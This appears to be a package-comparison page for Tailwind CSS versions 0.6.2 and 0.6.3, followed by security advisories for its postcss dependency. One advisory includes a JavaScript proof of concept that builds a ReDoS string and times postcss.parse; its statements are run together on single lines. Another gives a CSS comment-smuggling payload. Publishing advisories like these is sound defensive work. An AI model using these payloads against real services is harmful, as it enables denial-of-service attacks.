Tailwind CSS version 0.6.3 is a minor patch release following version 0.6.2 in the popular utility-first CSS framework. Both versions share the same core dependencies, including lodash, postcss, fs-extra, and others essential for processing CSS and providing utility classes. Similarly, the development dependencies for testing, linting, and building the project remain consistent, featuring tools like Jest, ESLint, Prettier, and Babel. This indicates that the underlying development workflow and testing infrastructure haven't undergone significant changes between the two versions.
The key difference lies in the dist section, specifically the unpackedSize. Version 0.6.3 has an unpacked size of 2039362 bytes, while version 0.6.2 has an unpacked size of 2039116 bytes. This suggests that 0.6.3 includes some minor additions or adjustments that increased the package size by a small margin. The file count remains the same at 112, indicating that the update likely involves modifications to existing files rather than the addition of new ones.
For developers, this minor version bump implies stability and incremental improvements. Upgrading from 0.6.2 to 0.6.3 should be a safe and straightforward process. While the specific changes contributing to the increased size aren't detailed here, they are unlikely to introduce breaking changes. It's advisable to review the official Tailwind CSS changelog for a granular understanding of the included fixes or enhancements for this version or use npm diff tailwindcss@0.6.2 tailwindcss@0.6.3 for example. The release dates show they were released in the same day.
All the vulnerabilities related to the version 0.6.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.